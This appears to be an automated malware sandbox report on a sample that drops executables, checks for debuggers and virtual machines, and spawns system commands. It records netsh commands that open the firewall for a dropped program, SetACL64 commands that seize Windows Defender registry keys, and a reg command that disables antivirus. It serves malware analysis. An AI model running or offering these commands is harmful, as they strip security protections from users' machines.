Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1030\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1055\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1028\SetupResources.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SelfDel.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1032\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1037\SetupResources.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\2052\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1035\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1045\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1046\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1049\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1044\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1043\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1042\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1040\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1041\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1044\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\SetupUtility.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\SetupUi.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1043\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1030\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1031\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1037\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1045\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1036\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\2052\SetupResources.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\win_version_csharp.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1049\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1038\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1035\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1046\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1033\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\3076\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\2070\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1041\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1031\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1029\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1038\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1036\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1033\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1025\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\3082\SetupResources.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\nsExec.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\2070\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeDropped PE file which has not been started: C:\6231e956ee22143d5ce90e\1053\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\SetupUtility.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\3082\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1029\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1028\SetupResources.dllJump to dropped file
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\PowerRun64.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeDropped PE file which has not been started: C:\02160d95efb0ac51c5e073\1025\SetupResources.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeEvasive API call chain: GetLocalTime,DecisionNodes
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeEvasive API call chain: GetLocalTime,DecisionNodesgraph_6-16560
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeEvasive API call chain: GetModuleFileName,DecisionNodes,Sleep
Source: C:\02160d95efb0ac51c5e073\Setup.exeEvasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Source: C:\6231e956ee22143d5ce90e\Setup.exeEvasive API call chain: GetModuleFileName,DecisionNodes,ExitProcessgraph_7-63537
Source: C:\Users\user\Desktop\Auu2j0pT0B.exe TID: 5764Thread sleep count: 145 > 30Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe TID: 5604Thread sleep count: 50 > 30Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe TID: 6416Thread sleep count: 50 > 30Jump to behavior
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_004068D4 FindFirstFileW,FindClose,0_2_004068D4
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405C83
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_00402930 FindFirstFileW,0_2_00402930
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AD92BB GetFileAttributesW,GetLastError,SetFileAttributesW,SetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,GetLastError,DeleteFileW,GetLastError,FindNextFileW,GetLastError,FindClose,RemoveDirectoryW,GetLastError,6_2_00AD92BB
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00ADA7B1 FindFirstFileW,GetLastError,FindNextFileW,CloseHandle,FindClose,6_2_00ADA7B1
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CB95B82 __EH_prolog3_GS,_memset,FindFirstFileW,FindNextFileW,FindClose,7_2_6CB95B82
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CB9410A FindFirstFileW,GetFullPathNameW,SetLastError,_wcsrchr,_wcsrchr,7_2_6CB9410A
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6E0C4281 memset,EnterCriticalSection,FindFirstFileW,LeaveCriticalSection,ctype,FindNextFileW,FindClose,ResetEvent,CreateThread,CloseHandle,GetLastError,7_2_6E0C4281
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6E0D8097 memset,memset,FindFirstFileW,DeleteFileW,GetLastError,FindNextFileW,FindClose,7_2_6E0D8097
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DC99A9 GetFileAttributesW,GetLastError,SetFileAttributesW,SetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,GetLastError,DeleteFileW,GetLastError,FindNextFileW,GetLastError,FindClose,RemoveDirectoryW,GetLastError,8_2_00DC99A9
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DCAD7B FindFirstFileW,GetLastError,FindNextFileW,CloseHandle,FindClose,8_2_00DCAD7B
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C229408 memset,EnterCriticalSection,FindFirstFileW,ctype,FindNextFileW,FindClose,ResetEvent,CloseHandle,CreateThread,GetLastError,LeaveCriticalSection,9_2_6C229408
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C21BE4F memset,memset,FindFirstFileW,DeleteFileW,GetLastError,FindNextFileW,FindClose,9_2_6C21BE4F
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C527AE1 FindFirstFileW,GetFullPathNameW,SetLastError,_wcsrchr,_wcsrchr,9_2_6C527AE1
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C529543 __EH_prolog3_GS,_memset,FindFirstFileW,FindNextFileW,FindClose,9_2_6C529543
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106C96D0 FindFirstFileW,GetLastError,FindNextFileW,FindClose,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,13_2_00007FF7106C96D0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106FC76C _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,13_2_00007FF7106FC76C
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106DCF15 MoveFileExW,FindFirstFileW,GetLastError,FindNextFileW,DeleteFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,13_2_00007FF7106DCF15
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AD774A GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLastError,GetLogicalDriveStringsW,CharUpperW,_wcschr,GetDiskFreeSpaceExW,6_2_00AD774A
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00ADCA78 GetSystemInfo,6_2_00ADCA78
Source: Auu2j0pT0B.exe, 00000000.00000002.2397285175.00000000007D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: SetACL64.exe, 0000000D.00000002.2223327689.000001F47FBA9000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 00000016.00000002.2237858116.000002122E508000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllK
Source: netsh.exe, 00000001.00000003.2031460576.0000000003224000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000001.00000003.2031399818.0000000003221000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000004.00000002.2035094060.0000000000A54000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000004.00000003.2034769693.0000000000A51000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 00000010.00000002.2227236403.000002C952009000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 00000011.00000002.2229983615.00000263A0C43000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 00000012.00000002.2231579487.0000016FE8B89000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 00000013.00000002.2233031556.000001F71E587000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 00000014.00000002.2234627331.0000021442404000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 00000015.00000002.2236191229.0000023B80509000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeAPI call chain: ExitProcess graph end nodegraph_0-3085
Source: C:\6231e956ee22143d5ce90e\Setup.exeAPI call chain: ExitProcess graph end nodegraph_7-56064
Source: C:\02160d95efb0ac51c5e073\Setup.exeAPI call chain: ExitProcess graph end node
Source: C:\6231e956ee22143d5ce90e\Setup.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AE91D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,6_2_00AE91D5
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBDC78B VirtualProtect ?,-00000001,00000104,?7_2_6CBDC78B
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00ADB4B3 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,6_2_00ADB4B3
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AD621F GetTickCount,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,6_2_00AD621F
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AE91D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,6_2_00AE91D5
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AEAE73 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,6_2_00AEAE73
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AE97AE SetUnhandledExceptionFilter,6_2_00AE97AE
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_009B45BE _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,7_2_009B45BE
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_009B2BA5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,7_2_009B2BA5
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBB76A7 __EH_prolog3,GetModuleHandleW,GetProcAddress,SetThreadStackGuarantee,SetUnhandledExceptionFilter,GetCommandLineW,7_2_6CBB76A7
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBDEB6A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,7_2_6CBDEB6A
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBDB091 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,7_2_6CBDB091
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6E0C171F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,7_2_6E0C171F
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DDB263 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_00DDB263
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DD9BA2 SetUnhandledExceptionFilter,8_2_00DD9BA2
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DD95C9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,8_2_00DD95C9
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_00602AC5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,9_2_00602AC5
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_006044DE _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,9_2_006044DE
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C212E84 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,9_2_6C212E84
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C54E3FF __EH_prolog3,GetModuleHandleW,GetProcAddress,SetThreadStackGuarantee,SetUnhandledExceptionFilter,GetCommandLineW,9_2_6C54E3FF
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C576DE1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,9_2_6C576DE1
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C57ABDA _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,9_2_6C57ABDA
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106E86C8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,13_2_00007FF7106E86C8
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106E2AE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,13_2_00007FF7106E2AE0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106E2E8C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,13_2_00007FF7106E2E8C
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106E3034 SetUnhandledExceptionFilter,13_2_00007FF7106E3034
Source: C:\6231e956ee22143d5ce90e\Setup.exeMemory allocated: page read and write | page guardJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=acxxtzcogvgr dir=in action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,privateJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=acxxtzcogvgr dir=out action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,privateJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bn.batJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnz.batJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnn.batJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnoo1.batJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: unknown unknownJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: unknown unknownJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /fJump to behavior
